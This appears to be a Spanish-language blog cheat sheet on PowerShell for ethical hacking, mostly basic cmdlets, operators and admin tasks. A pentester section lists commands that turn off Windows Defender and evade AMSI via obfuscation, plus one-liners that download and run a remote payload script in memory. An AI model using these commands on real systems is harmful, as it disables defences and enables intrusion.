¿Te preguntas cómo Powershell, la herramienta de automatización de Microsoft, puede ser tu aliado en el hacking ético? ¡Bienvenido a un viaje informativo donde desentrañaremos los secretos de PowerShell para Hackers Guía Rápida y lo aprovecharemos para fortalecer tus habilidades en el mundo del hacking!

Table of Contents

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

¿Qué es Powershell y por qué es Esencial en el Hacking Ético?

Windows PowerShell es un lenguaje de programación y shell de línea de comandos diseñado especialmente para la administración de sistemas. Su análogo en Linux se llama Bash Scripting. Construido sobre .NET Framework, Windows PowerShell ayuda a los profesionales de TI a controlar y automatizar la administración del sistema operativo Windows y las aplicaciones que se ejecutan en el entorno de Windows Server.

Los comandos de Windows PowerShell, llamados cmdlets , le permiten administrar las computadoras desde la línea de comandos. Los proveedores de Windows PowerShell le permiten acceder a almacenes de datos, como el Registro y el Almacén de certificados, tan fácilmente como accede al sistema de archivos.

Además, Windows PowerShell tiene un analizador de expresiones enriquecido y un lenguaje de secuencias de comandos completamente desarrollado. Entonces, en palabras simples, puedes completar todas las tareas que realizas con GUI y mucho más.

El entorno de scripting integrado (ISE) de PowerShell es una consola de terminal para ejecutar comandos de PowerShell conocidos como cmdlets (pronunciado «command-let») y escribir/ejecutar scripts de PowerShell con la extensión de archivo «.ps1».

Los comandos de PowerShell no distinguen entre mayúsculas y minúsculas en su entorno nativo de Windows, pero eso no es cierto para otros sistemas operativos. Lea más sobre la distinción entre mayúsculas y minúsculas de PowerShell aquí.

Powershell se ha convertido en una herramienta fundamental en el kit de herramientas de hackers éticos. Este lenguaje de scripting no solo automatiza tareas, sino que también permite identificar vulnerabilidades y fortalecer la seguridad de servidores. Exploraremos cómo aprovechar este poder para propósitos éticos y constructivos. Powershell se convierte en una herramienta clave para identificar y solucionar estas debilidades antes de que los actores malintencionados las exploten.

Guía Rápida de PowerShell

¿Está buscando una guía de referencia rápida sobre comandos y scripts de PowerShell? No busque más: nuestra hoja de referencia de PowerShell está aquí para ayudarlo a optimizar sus tareas y aumentar su productividad. Ya seas un principiante o un usuario experimentado, esta hoja de trucos tiene algo para ti.

Cubriremos temas clave como objetos, expresiones regulares, operadores y sugerencias y mejores prácticas para trabajar con esta poderosa herramienta de automatización de tareas. Entonces, en lugar de dedicar más tiempo del necesario a la documentación oficial o a recordar comandos complejos, tenga a mano nuestra hoja de trucos de Windows PowerShell y póngase manos a la obra.

Cómo utilizar PowerShell

PowerShell viene preinstalado en Windows y Azure , pero puedes instalarlo en ciertas distribuciones de Linux a través de sus respectivos administradores de paquetes y en la última versión de macOS a través de Homebrew, descarga directa o archivos binarios .

Powershell: descripción general

Windows PowerShell es un lenguaje de programación y shell de línea de comandos diseñado especialmente para la administración de sistemas. Su análogo en Linux se llama Bash Scripting. Construido sobre .NET Framework, Windows PowerShell ayuda a los profesionales de TI a controlar y automatizar la administración del sistema operativo Windows y las aplicaciones que se ejecutan en el entorno de Windows Server.

Los comandos de Windows PowerShell, llamados cmdlets , le permiten administrar las computadoras desde la línea de comandos. Los proveedores de Windows PowerShell le permiten acceder a almacenes de datos, como el Registro y el Almacén de certificados, tan fácilmente como accede al sistema de archivos.

Además, Windows PowerShell tiene un analizador de expresiones enriquecido y un lenguaje de secuencias de comandos completamente desarrollado. Entonces, en palabras simples, puedes completar todas las tareas que realizas con GUI y mucho más.

PowerShell ISE

El entorno de secuencias de comandos integrado (ISE) de Windows PowerShell es una aplicación host para Windows PowerShell. En Windows PowerShell ISE, puede ejecutar comandos y escribir, probar y depurar scripts en una única interfaz gráfica de usuario basada en Windows con edición multilínea, finalización de tabulación, coloración de sintaxis, ejecución selectiva, ayuda contextual y compatibilidad con el derecho a -Idiomas izquierdos.

Puede usar elementos de menú y métodos abreviados de teclado para realizar muchas de las mismas tareas que realizaría en la consola de Windows PowerShell. Por ejemplo, cuando depura una secuencia de comandos en Windows PowerShell ISE, para establecer un punto de interrupción de línea en una secuencia de comandos, haga clic con el botón derecho en la línea de código y luego haga clic en Alternar punto de interrupción .

Comandos básicos de PowerShell

Hay muchos comandos de PowerShell y es muy difícil incluir todos estos comandos en este tutorial; nos centraremos en algunos de los comandos más importantes y básicos de PowerShell.

El primer paso es ir al comando Get-Help que te brinda una explicación sobre cómo dar un comando y su parámetro.

Powershell: configuración del entorno

El icono de PowerShell se puede encontrar en la barra de tareas y en el menú de inicio. Con solo hacer clic en el icono, se abrirá.

Para abrirlo, simplemente haga clic en el icono y luego se abrirá la siguiente pantalla y significa que PowerShell está listo para que usted trabaje en él.

Versión de PowerShell

La última versión de PowerShell es la 5.1 y para comprobar lo que hay instalado en nuestro servidor escribimos el siguiente comando

$PSVersionTable

como se muestra en la siguiente captura y por la pantalla también sabemos que tenemos PSVersion 5.1

Para actualizar con la última versión donde tiene más cmdlets, debemos descargar Windows Management Framework 5.1 desde el siguiente enlace:  https://www.microsoft.com/en-us/download/details.aspx?id=50395 e instalarlo.

PowerShell ISE

El entorno de secuencias de comandos integrado (ISE) de Windows PowerShell es una aplicación host para Windows PowerShell. En Windows PowerShell ISE, puede ejecutar comandos y escribir, probar y depurar scripts en una única interfaz gráfica de usuario basada en Windows con edición multilínea, finalización de tabulación, coloración de sintaxis, ejecución selectiva, ayuda contextual y compatibilidad e Idiomas.

Puede usar elementos de menú y métodos abreviados de teclado para realizar muchas de las mismas tareas que realizaría en la consola de Windows PowerShell. Por ejemplo, cuando depura una secuencia de comandos en Windows PowerShell ISE, para establecer un punto de interrupción de línea en una secuencia de comandos, haga clic con el botón derecho en la línea de código y luego haga clic en Alternar punto de interrupción .

Para abrirlo, simplemente vaya a Inicio – Buscar y luego Escriba – PowerShell como se muestra en la siguiente captura de pantalla.

Luego haga clic en Windows PowerShell ISE. 

Cómo iniciar una instancia de PowerShell:

SISTEMA OPERATIVOACCIÓN
WindowsHaga clic con el botón derecho en Inicio > seleccione «Windows PowerShell».
Si desea privilegios elevados, seleccione «Windows PowerShell (Admin)».
Ejecute el símbolo del sistema (haga clic en Inicio > escriba cmd ) > ingrese » PowerShell » y seleccione su opción preferida, con o sin «( Administración)»
LinuxRaspberry Pi: en Terminal, escriba ~/powershell/pwsh > presione Enter.
Otras distribuciones: en Terminal, ingrese pwsh > presione Enter.
Mac OSEn Terminal, ingrese pwsh > presione Enter.

Comandos útiles de PowerShell

La siguiente tabla enumera los comandos de PowerShell más importantes. Aunque los alias de PowerShell se parecen al símbolo del sistema ( cmd.exe) o a los comandos Bash, no son funciones nativas de PowerShell, sino accesos directos a los comandos de PowerShell correspondientes.

NOMBRE DEL COMANDOALIASDESCRIPCIÓN
Get-Help Get-Command(Ninguno)Muestra información de ayuda sobre el comando de PowerShell Get-Command(que enumera todos los comandos de PowerShell).
Puede reemplazarlo Get-Commandcon cualquier comando de PowerShell de su elección.
Get-ChildItemdir, ls, gci Enumera todos los archivos y carpetas en el directorio de trabajo actual
Get-Locationpwd, glObtener el directorio de trabajo actual
Set-Locationcd, chdir, slEstablece la ubicación de trabajo actual en una ubicación específica
Get-Contentcat, gc, typeObtiene el contenido del elemento en la ubicación especificada
Copy-Itemcopy, cp, cpiCopia un elemento de una ubicación a otra
Remove-Itemdel, erase, rd, ri, rm, rmdirElimina los elementos especificados
Move-Itemmi, move, mvMueve un elemento de una ubicación a otra
New-ItemniCrea un nuevo elemento
Out-File>, >>Enviar salida a un archivo.
Cuando desee especificar parámetros, limítese a Out-File.
Invoke-WebRequestcurl, iwr, wgetObtener contenido de una página web en Internet
Write-Outputecho, writeEnvía los objetos especificados al siguiente comando de la canalización.
Si Write-Outputes el último comando en la canalización, la consola muestra los objetos.
Clear-Hostcls, clearLimpia la consola

Sintaxis de PowerShell

PowerShell es tan complejo y contiene tantos comandos que es necesario comprender su sintaxis para utilizarlo bien.

Parámetros

Los parámetros son argumentos de comando que permiten a los desarrolladores crear scripts de PowerShell reutilizables. Para un comando con dos parámetros (aquí Parameter1toma un valor, pero Parameter2no lo hace), la sintaxis es:

Do-Something -Parameter1 value1 -Parameter2

Para buscar todos los comandos con, digamos, el ComputerNameparámetro » «, use:

Get-Help * -Parameter ComputerName

Los siguientes son parámetros de mitigación de riesgos que se aplican a todos los comandos de PowerShell:

PARÁMETRO DE MITIGACIÓN DE RIESGOSDESCRIPCIÓNEJEMPLO
-ConfirmIndique si debe tomar medidas.Creando un nuevo elemento llamadotest.txt:
ni test.txt -Confirm
-WhatIfMuestra lo que haría un determinado comando.Eliminación de un elemento llamadotest.txt:
del test.txt -WhatIf

Aquí encontrará más información sobre los parámetros comunes en PowerShell .

Pipes

PowerShell utiliza el carácter de canalización » |» para pasar la salida de una serie de comandos a comandos posteriores como entrada de canalización, de forma análoga a las secuencias de comandos en Bash y Splunk . Para una secuencia que contiene tres comandos, la sintaxis de canalización de PowerShell es:

Command1 | Command2 | Command3

A continuación se muestra un ejemplo que incluye cuatro comandos:

Get-Service | Where-Object -Property Status -EQ Running | Select-Object Name, DisplayName, StartType | Sort-Object -Property StartType, Name

En este ejemplo, Get-Serviceenvía una lista de todos los servicios de Windows a Where-Object, lo que filtra los servicios que tienen Runningcomo Status. Los resultados filtrados pasan a través de Select-Object, que selecciona las columnas NameDisplayNameStartType, y finalmente, Sort-Objectordena estas columnas por StartTypeName.

Otros ejemplos de tuberías:

DOMINIODESCRIPCIÓN
"plan_A.txt" | Rename-Item -NewName "plan_B.md" Cambie el nombre del archivo » plan_A.txt» a un nuevo nombre » plan_B.md«
Get-ChildItem | Select-Object basename | Sort-Object *Enumera los nombres de todos los archivos en el directorio de trabajo actual, ordenados en orden alfabético.

Objetos

Un objeto es un tipo de datos que consta de propiedades y métodos del objeto, a cualquiera de los cuales puede hacer referencia directamente con un punto ( .) seguido del nombre de la propiedad/método. PowerShell contiene objetos .NET Framework como otros lenguajes de programación orientada a objetos como C#, Java y Python .

En el siguiente ejemplo, exploramos un Faxobjeto de aplicación .NET Framework:

Get-Service -Name Fax | Get-Member

Fax tiene una o más propiedades. Echemos un vistazo a la Statuspropiedad. Resulta que no está en uso:

Uno de los métodos enumerados es » GetType» y podemos probarlo:

Este método muestra que el objeto .NET Fax es un archivo ServiceController.

Variables

Estos son los comandos básicos para definir y llamar variables de PowerShell .

DOMINIODESCRIPCIÓN
New-Variable var1Crear una nueva variable var1sin definir su valor
Get-Variable my*Enumera todas las variables en uso que comienzan con » my
Remove-Variable bad_variableEliminar la variable llamada » bad_variable» 
$var = "string"Asignar el valor » string» a una variable$var
$a,$b = 0Asigne el valor 0 a las variables $a,$b
$a,$b,$c = 'a','b','c'Asigne los caracteres 'a''b''c'a variables con nombres respectivos
$a,$b = $b,$aIntercambiar los valores de las variables $ay$b
$var = [int]5Forzar que la variable $varesté fuertemente tipada y solo admita valores enteros

Variables especiales importantes

VARIABLEDESCRIPCIÓN
$HOMERuta al directorio de inicio del usuario
$NULLValor vacío/nulo
$TRUEValor booleano VERDADERO
$FALSEValor booleano FALSO
$PIDIdentificador de proceso (PID) del proceso que aloja la sesión actual de PowerShell

Expresiones regulares

Una expresión regular (regex) es un patrón de coincidencia de caracteres. Puede comprender caracteres literales, operadores y otras construcciones. Estas son las reglas para construir expresiones regulares:

SINTAXIS DE EXPRESIONES REGULARESDESCRIPCIÓN
[ ]Caracteres permitidos, por ejemplo, [abcd]significa'a'/'b'/'c'/'d'
[aeiou]Carácter vocal único en inglés.
^1. Úselo entre corchetes [ ]para indicar exclusión
2. Para hacer coincidir el comienzo de una cadena
[^aeiou]Carácter de consonante única en inglés.
$Para hacer coincidir el final de una cadena
-Úselo con corchetes [ ]para indicar rangos de caracteres
[A-Z]Caracteres alfabéticos en mayúsculas
[a-z]Caracteres alfabéticos en minúscula
[0-9]Caracteres numéricos
[ -~]Todos los caracteres basados ​​en ASCII (por lo tanto imprimibles)
\tPestaña
\nNueva línea
\rRetorno de carro
.Cualquier carácter excepto un \ncarácter de nueva línea ( ); comodín
*Haga coincidir la expresión regular que tiene como prefijo cero o más veces.
+Haga coincidir la expresión regular que tiene como prefijo una o más veces.
?Haga coincidir la expresión regular con el prefijo cero o una vez.
{n}Un símbolo de expresión regular debe coincidir exactamente ncon los tiempos. 
{n,}Un símbolo de expresión regular debe coincidir al menos nveces. 
{n,m}Un símbolo de expresión regular debe coincidir entre nmhoras inclusive.
\Escapar; Interprete los siguientes caracteres reservados para expresiones regulares como los caracteres literales correspondientes:[]().\^$|?*+{}
\ddígito decimal
\DDígito no decimal, como hexadecimal
\wCarácter alfanumérico y guión bajo (“ carácter de palabra ”)
\WCarácter no palabra
\sCarácter espacial
\SCarácter no espacial

La siguiente sintaxis sirve para comprobar cadenas (entre comillas como 'str'"ing") con expresiones regulares:

COMPROBAR-MATCHCOMPROBAR-NOTMATCH
<string> -Match <regex><string> -NotMatch <regex>

A continuación se muestran ejemplos de cadenas que coinciden y no coinciden con las siguientes expresiones regulares:

EXPRESIÓN REGULARCUERDAS QUE-MATCH CUERDAS QUE HACEN-NOTMATCH
'Hello world''Hello world''Hello World'
'^Windows$''Windows''windows'
'[aeiou][^aeiou]''ah''lo'
'[a-z]''x''X'
'[a-z]+-?\d\D''server0F','x-8B''--AF'
'\w{1,3}\W''Hey!''Fast'
'.{8}''Break up''No'
'..\s\S{2,}''oh no''\n\nYes'
'\d\.\d{3}''1.618''3.14'

Operadores

PowerShell tiene muchos operadores . A continuación te presentamos los más utilizados.

En los ejemplos siguientes, las variables $a$btienen los valores 10 y 20, respectivamente. El símbolo indica el valor resultante e indica equivalencia.

Operadores aritméticos:

OPERADORDESCRIPCIÓNEJEMPLO
+Suma. Agrega valores a ambos lados del operador.$a + $b → 30
-Sustracción. Resta el operando de la derecha del operando de la izquierda.$a - $b → -10
*Multiplicación. Multiplica valores a ambos lados del operador.$a * $b → 200
/División. Divide el operando de la izquierda por el operando de la derecha.$b / $a → 2
%Módulo. Divide el operando de la izquierda por el operando de la derecha y devuelve el resto.$b % $a → 0

Operadores de comparación:

OPERADORSÍMBOLO MATEMÁTICO (NO POWERSHELL)DESCRIPCIÓNEJEMPLO
eq=Igual$a -eq $b → $false
neDesigual$a -ne $b → $true
gt>Mas grande que$b -gt $a → $true
geMayor qué o igual a$b -ge $a → $true
lt<Menos que$b -lt $a → $false
leMenos que o igual a$b -le $a → $false

Operadores de Asignación:

OPERADORDESCRIPCIÓNEJEMPLO
=Asigne valores de los operandos del lado derecho al operando del lado izquierdo.Asignar la suma de variables $a$ba una nueva variable$c:
$c = $a + $b
+=Agregue el operando del lado derecho al operando izquierdo y asigne el resultado al operando izquierdo.$c += $a ⇔ $c = $c + $a
-=Resta el operando del lado derecho del operando izquierdo y asigna el resultado al operando del lado izquierdo.$c -= $a ⇔ $c = $c - $a

Operadores logicos:

OPERADORDESCRIPCIÓNEJEMPLO
-andY lógico. Si ambos operandos son verdaderos/distintos de cero, entonces la condición se vuelve verdadera.($a -and $b) → $true
-orO lógico. Si alguno de los dos operandos es verdadero/distinto de cero, entonces la condición se vuelve verdadera.($a -or 0) → $true
-not, !NO lógico. Negación de una expresión booleana determinada.!($b -eq 20) → $false
-xorO exclusivo lógico. Si solo uno de los dos operandos es verdadero/distinto de cero, entonces la condición se vuelve verdadera.($a -xor $b) → $false

Operadores de redireccionamiento:

OPERADORDESCRIPCIÓN
>Envíe la salida al archivo o dispositivo de salida especificado.
>>Adjunte la salida al archivo o dispositivo de salida especificado.
>&1Redirige el flujo especificado al flujo de salida estándar.

Al agregar un prefijo numérico a los operadores de redirección de PowerShell, los operadores de redirección le permiten enviar tipos específicos de salida de comando a varios destinos:

PREFIJO DE REDIRECCIÓNFLUJO DE SALIDAEJEMPLO
*Toda la salidaRedirigir todas las transmisiones aout.txt:
Do-Something *> out.txt
1Salida estándar (esta es la secuencia predeterminada si omite el prefijo de redirección).Agregar salida estándar asuccess.txt:
Do-Something 1>> success.txt
2Error estándarRedirige el error estándar a la salida estándar, que se envía a un archivo llamadodir.log:
dir 'C:\', 'fakepath' 2>&1 > .\dir.log
3Mensajes de advertenciaEnviar salida de advertencia awarning.txt:
Do-Something 3> warning.txt 
4Salida detalladaAgregue verbose.txtcon la salida detallada:
Do-Something 4>> verbose.txt 
5Mensajes de depuraciónEnviar salida de depuración al error estándar:
Do-Something 5>&1 
6Información (PowerShell 5.0+)Suprimir toda la salida de información: 
Do-Something 6>$null

Operadores de coincidencia y expresión regular (regex):

OPERADORDESCRIPCIÓNEJEMPLO
-ReplaceReemplazar cadenas que coincidan con un patrón de expresiones regularesProducción“i like ! !”:

$toy = "i like this toy";
$work = $toy -Replace "toy|this","!";
$work
-Like, -NotLikeComprobar si una cadena coincide con un patrón comodín (o no)Genere todos los archivos *.bat en el directorio de trabajo actual:
Get-ChildItem | Where-Object {$_.name  -Like "*.bat"}

Genere todos los demás archivos:
Get-ChildItem | Where-Object {$_.name  -NotLike "*.bat"}
-Match, -NotMatchCompruebe si una cadena coincide con un patrón de expresiones regulares (o no)Los siguientes ejemplos se evalúan como VERDADERO:
'blog' -Match 'b[^aeiou][aeiuo]g'
'blog' -NotMatch 'b\d\wg'
-Contains, -NotContainsComprobar si una colección contiene un valor (o no)Los siguientes ejemplos se evalúan como VERDADERO:
@("Apple","Banana","Orange") -Contains "Banana"
@("Au","Ag","Cu") -NotContains "Gold"
-In, -NotInComprobar si un valor está (no) en una colecciónLos siguientes ejemplos se evalúan como VERDADERO:
"blue" -In @("red", "green", "blue")
"blue" -NotIn @("magenta", "cyan", yellow")
OPERADORDESCRIPCIÓNEJEMPLO
-ReplaceReemplazar cadenas que coincidan con un patrón de expresiones regularesProducción“i like ! !”:

$toy = "i like this toy";
$work = $toy -Replace "toy|this","!";
$work
-Like, -NotLikeComprobar si una cadena coincide con un patrón comodín (o no)Genere todos los archivos *.bat en el directorio de trabajo actual:
Get-ChildItem | Where-Object {$_.name  -Like "*.bat"}

Genere todos los demás archivos:
Get-ChildItem | Where-Object {$_.name  -NotLike "*.bat"}
-Match, -NotMatchCompruebe si una cadena coincide con un patrón de expresiones regulares (o no)Los siguientes ejemplos se evalúan como VERDADERO:
'blog' -Match 'b[^aeiou][aeiuo]g'
'blog' -NotMatch 'b\d\wg'
-Contains, -NotContainsComprobar si una colección contiene un valor (o no)Los siguientes ejemplos se evalúan como VERDADERO:
@("Apple","Banana","Orange") -Contains "Banana"
@("Au","Ag","Cu") -NotContains "Gold"
-In, -NotInComprobar si un valor está (no) en una colecciónLos siguientes ejemplos se evalúan como VERDADERO:
"blue" -In @("red", "green", "blue")
"blue" -NotIn @("magenta", "cyan", yellow")

Operadores varios :

DOMINIODESCRIPCIÓNEJEMPLO
()Agrupamiento; anular la precedencia del operador en expresionesCalcular esta expresión te da el valor 4:
(1+1)*2
$()Obtener el resultado de una o más declaracionesObtenga la fecha y hora de hoy:
"Today is $(Get-Date)"
@()Obtener los resultados de una o más declaraciones en forma de matrices.Obtenga solo nombres de archivos en el directorio de trabajo actual:
@(Get-ChildItem | Select-Object Name)
[]Convierte objetos al tipo específicoComprueba que hay 31 días entre el 20 de enero y el 20 de febrero de 1988:
[DateTime] '2/20/88' - [DateTime] '1/20/88' -eq [TimeSpan] '31'# True
&Ejecute un comando/canalización como un trabajo en segundo plano de Windows Powershell (PowerShell 6.0+)Get-Process -Name pwsh &

Tablas hash

Una tabla hash (nombres alternativos: diccionario, matriz asociativa) almacena datos como pares clave-valor.

SINTAXISDESCRIPCIÓNEJEMPLO
@{<key> = <value>; [<key> = <value>] ...}Tabla hash (vacía @{}🙂@{Number = 1; Shape = "Square"; Color = "Blue"}
[ordered]@{<key> = <value>; [<key> = <value>] ...}Tabla hash con pedidos. Comparación de tablas hash ordenadas y desordenadas
[ordered]@{Number = 1; Shape = "Square"; Color = "Blue"}
$hash.<key> = <value>Asignar un valor a una clave en la tabla hash$hash $hash.id = 100
$hash["<key>"] = "<value>"$hash.Add("<key>", "<value>")Agregue un par clave-valor a$hash$hash["Name"] = "Alice"$hash.Add("Time", "Now")
$hash.Remove(<key>)Eliminar un par clave-valor de$hash$hash.Remove("Time")
$hash.<key>Obtener el valor de<key>$hash.id # 100

Powershell al Descubierto: Más Allá de un Lenguaje de Scripting

Comentarios

Los comentarios le ayudan a organizar los componentes y el flujo de su script de PowerShell.

SÍMBOLODESCRIPCIÓNEJEMPLO
#comentario de una línea# Comment
<#...#>Comentario multilínea<# Blockcomment #>
`"Comillas escapadas"`"Hello`""
`tPestaña"'hello `t world'"
`nNueva línea"'hello `n world'"
`Continuación de líneani test.txt `
-WhatIf

Control de flujo

En los ejemplos dados, $aes una variable definida anteriormente en la instancia de PowerShell.

SINTAXIS DE COMANDODESCRIPCIÓNEJEMPLO
For (<Init>; <Condition>; <Repeat>){<Statement list>}En bucle .Imprime el valor de $i, inicializado con el valor 1 e incrementado en uno en cada iteración, hasta superar 10:
for($i=1; $i -le 10; $i++){Write-Host $i}
ForEach ($<Item> in $<Collection>){<Statement list>}Bucle para cada objeto; enumeración Items en un Collection.
El alias de “ForEach” es “ %”. El alias » $_» representa el objeto actual.
Muestra el tamaño de cada archivo en el directorio de trabajo actual:
Get-ChildItem | % {Write-Host $_.length $_.name -separator "`t`t"}
While (<Condition>){<Statement list>}Bucle while .En cada iteración, incremente $aen uno e imprima su valor a menos/hasta que este valor sea 3:
while($a -ne 3){
    $a++
    Write-Host $a
}
If (<Test1>) {<Statement list 1>} [ElseIf (<Test2>) {<Statement list 2>}] [Else {<Statement list 3>}]Sentencia condicional .Compara el valor de $acontra 2:
if ($a -gt 2) {
    Write-Host "The value $a is greater than 2."
} elseif ($a -eq 2) {
    Write-Host "The value $a is equal to 2."
} else {
    Write-Host ("The value $a is less than 2 or" + " was not created or initialized.")}

PowerShell para administradores

PowerShell es una herramienta indispensable en el conjunto de herramientas del administrador del sistema porque puede ayudarlo a automatizar trabajos mecánicos y repetitivos del sistema de archivos, como verificar el uso de la memoria y crear copias de seguridad. Con las aplicaciones de programación de tareas (como el Programador de tareas en Windows), PowerShell puede realizar mucho trabajo pesado.

La siguiente tabla enumera los comandos de PowerShell (cambie los parámetros y valores según corresponda) adaptados a las tareas administrativas:

DOMINIODESCRIPCIÓN
New-PSDrive –Name "L" –PSProvider FileSystem –Root "\\path\to\data" –PersistConfigurar unidades de red. 
Especifique una letra mayúscula no utilizada (no C:) como » -Name» de una unidad y apunte el -Rootparámetro » » a una ruta de red válida.
Enable-PSRemotingHabilite la comunicación remota de PowerShell en una computadora.
Si desea enviar actualizaciones de software a través de una red, debe habilitar la comunicación remota de PowerShell en cada computadora de la red.
Invoke-Command -ComputerName pc01, pc02, pc03 -ScriptBlock{cmd /c c:\path\to\setup.exe /config C:\path\to\config.xml}Enviar actualizaciones de software a través de una red de tres computadoras pc01pc02pc03.
Aquí, /cse refiere a la unidad C: y el resto del cmdcomando es el script de Windows Batch para la instalación del software en cmd.exe.
Get-HotfixBuscar parches/actualizaciones de software
$Password = Read-Host -AsSecureString
New-LocalUser "User03" -Password $Password -FullName "Third User" -Description "Description of this account."
Agregar usuarios.
El primer comando le solicita una contraseña mediante el Read-Hostcmdlet. El comando almacena la contraseña como una cadena segura en la $Passwordvariable.
El segundo comando crea una cuenta de usuario local utilizando la contraseña almacenada en $Password. El comando especifica un nombre de usuario, un nombre completo y una descripción para la cuenta de usuario.
While(1) { $p = get-counter '\Process(*)\% Processor Time'; cls; $p.CounterSamples | sort -des CookedValue | select -f 15 | ft -a}Supervise los procesos en ejecución , actualícelos en un intervalo determinado y muestre el uso de la CPU como topel comando de Linux.
Get-ChildItem c:\data -r | % {Copy-Item -Path $_.FullName -Destination \\path\to\backup}Creando una copia de seguridad remota del directorio c:\data. Para realizar una copia de seguridad solo de los archivos modificados, intercale el siguiente comando entre los comandos dirCopy-Itemcomo parte de esta canalización:
? {!($_.PsIsContainer) -AND $_.LastWriteTime -gt (Get-Date).date} 
Get-ServiceMuestra los servicios en ejecución y detenidos de la computadora. Vea un ejemplo práctico en Pipes .
Get-Command *-ServiceEnumere todos los comandos con el sufijo » -Service«:
Get-ProcessListar procesos en una computadora local:
Start-Sleep 10Dormir durante diez segundos
Start-JobIniciar un trabajo en segundo plano de Windows Powershell localmente
Receive-JobObtenga los resultados del trabajo en segundo plano de Windows Powershell
New-PSSessionCree una conexión persistente a una computadora local o remota
Get-PSSessionObtenga las sesiones de Windows PowerShell en computadoras locales y remotas
Enable-NetFirewallRuleHabilitar una regla de firewall previamente deshabilitada
ConvertTo-HtmlConvierta objetos de Microsoft .NET Framework en páginas web HTML
Invoke-RestMethodEnviar una solicitud HTTP o HTTPS a un servicio web RESTful

PowerShell para pentesters

Un gran poder conlleva una gran responsabilidad, y responsabilidades tan grandes como el uso adecuado de PowerShell recaen en el administrador del sistema a cargo del mantenimiento de una red informática. Sin embargo, los piratas informáticos también han utilizado PowerShell para infiltrarse en los sistemas informáticos. Por lo tanto, cualquier probador de penetración competente (pentester) debe dominar PowerShell.

DOMINIODESCRIPCIÓN
Set-ExecutionPolicy -ExecutionPolicy BypassEn este poderoso comando, » Bypass» significa eliminar todos los obstáculos para ejecutar comandos/scripts y deshabilitar advertencias e indicaciones.
ExecutionPolicyMito: si lo configura de cierta manera, automáticamente protegerá su dispositivo de actividades maliciosas.
ExecutionPolicyHecho: es una valla autoimpuesta por un usuario a los comandos/scripts de PowerShell, por lo que si un script de PowerShell malicioso ha causado daños, ya tiene una máquina comprometida.
Jeffrey Snover, el creador de PowerShell, dice: Obtenga más información sobre .

ExecutionPolicy
Invoke-command -ScriptBlock
{Set-MpPreference -DisableIOAVprotection $true}
# Feed the above into https://amsi.fail to get the obfuscated (and runnable) version
La interfaz de escaneo antimalware (AMSI) de Microsoft permite que el software antivirus monitoree y bloquee los scripts de PowerShell en la memoria.
AMSI puede reconocer scripts destinados a omitir AMSI por sus firmas hash. Así que los hackers/pentesters se dan cuenta.
Una solución alternativa típica es la ofuscación , como crear variables ficticias para contener valores en el script y codificar estos valores en Base64. Una buena ofuscación hace que a AMSI le resulte más difícil reconocer un script.
Pero una solución alternativa probada y comprobada que no implica ofuscación es dividirlo en líneas separadas .
Ahí radica la debilidad de AMSI: puede detectar scripts completos pero no anticipar si los comandos incrementales conducen a resultados inesperados.
Set-MpPreference -DisableRealTimeMonitoring $true # Feed the above into https://amsi.fail to get the obfuscated (and runnable) versionApague Windows Defender.
Este comando también requiere ofuscación ya que AMSI identificará y cancelará dichos scripts.
Import-Module /path/to/moduleImportar módulo desde una ruta de directorio/path/to/module
iex (New-Object Net.WebClient).DownloadString
('https://[webserver_ip]/payload.ps1')
Descargue la base de ejecución: un script de PowerShell de carga útil payload.ps1.
iex (iwr http://[webserver_ip]/some_script.ps1 -UseBasicParsing) Descargar un script de PowerShell some_script.ps1y ejecutarlo desde la memoria de acceso aleatorio (RAM)
iex (New-Object Net.WebClient).
DownloadString
('http://[webserver_ip]/some_script.ps1')
Descargue un script de PowerShell some_script.ps1en la RAM en lugar del disco
iex (New-Object Net.WebClient).DownloadString
('http://[webserver_ip]/some_script.ps1');
command1;command2
Permita que un script de PowerShell some_script.ps1ejecute comandos ( command1, command2) uno a la vez directamente desde la RAM.
El siguiente elemento es un ejemplo.
iex (New-Object Net.WebClient).DownloadString
('http://localhost/powerview.ps1');Get-NetComputer
Ejecute la función localhostPowerView ( powerview.ps1Get-NetComputerdirectamente desde la RAM.

Comandos de enumeración

Enumerar es extraer información, incluidos usuarios, grupos, recursos y otros campos interesantes, y mostrarla Aquí hay una tabla de comandos de enumeración esenciales:

DOMINIODESCRIPCIÓN
net accountsObtener la política de contraseñas
whoami /privObtenga los privilegios del usuario actualmente conectado
ipconfig /allEnumere todas las interfaces de red, IP y DNS
Get-LocalUser | Select *Listar todos los usuarios de la máquina
Get-NetRouteObtener información de ruta IP de la tabla de enrutamiento IP
Get-CommandListar todos los comandos de PowerShell

Es posible que se encuentre con módulos y scripts de PowerShell como Active Directory , PowerView, PowerUp, Mimikatz y Kekeo, todos los cuales utilizan los pentesters. Te animamos a que los aprendas de forma independiente.

Conclusión

Esta hoja de referencia de PowerShell es una guía breve pero útil para navegar por PowerShell, ya sea como principiante o como administrador experimentado. Si desea obtener más información sobre PowerShell, consulte nuestros cursos sobre Windows Server y Azure para verlo en acción, y nos encantaría saber qué otras funciones de PowerShell le gustaría aprender en los comentarios a continuación.

Preguntas frecuentes

¿Qué es PowerShell?

Al igual que bash para Linux, PowerShell es un terminal de secuencias de comandos de línea de comandos nativo del sistema operativo Windows y es útil para automatizar tareas, como las administrativas.

¿Cómo ejecuto comandos de PowerShell?

Abra la consola de PowerShell: en Windows, haga clic derecho en el botón Inicio y seleccione » Windows PowerShell » para privilegios normales, o » Windows PowerShell (Admin) » para privilegios elevados. Ingrese el nombre del cmdlet/script (la extensión «ps1» se puede omitir). Si el cmdlet/script requiere parámetros, introdúzcalos también. Finalmente, presione Enter/Return .

¿Cómo aprendo PowerShell?

Utilice esta hoja de referencia como punto de partida o repaso y explore la documentación oficial de PowerShell de Microsoft . Además, consulte nuestros cursos sobre Windows Server / Azure .

¿Puedo usar PowerShell en Linux o macOS?

Si, absolutamente. Aprenda cómo instalar PowerShell en macOS aquí y en Linux aquí .

¿Cuál es la diferencia entre PowerShell y cmd.exe?

PowerShell le permite manipular objetos que contienen datos complejos, superando la principal limitación del símbolo del sistema (cmd.exe) en cuanto a los tipos de datos permitidos.

Powershell al Descubierto: Más Allá de un Lenguaje de Scripting

Ya sabemos que Powershell no es solo un lenguaje de scripting, es una puerta de entrada al mundo de la automatización y administración de sistemas. Este recurso de Microsoft se convierte en un aliado clave para los profesionales del hacking ético. Powershell se convierte en el motor de la automatización en el hacking ético. Desde ejecutar scripts hasta gestionar procesos, esta herramienta se erige como el pilar fundamental para optimizar tareas y fortalecer sistemas.

Powershell Más Allá de un Lenguaje de Scripting

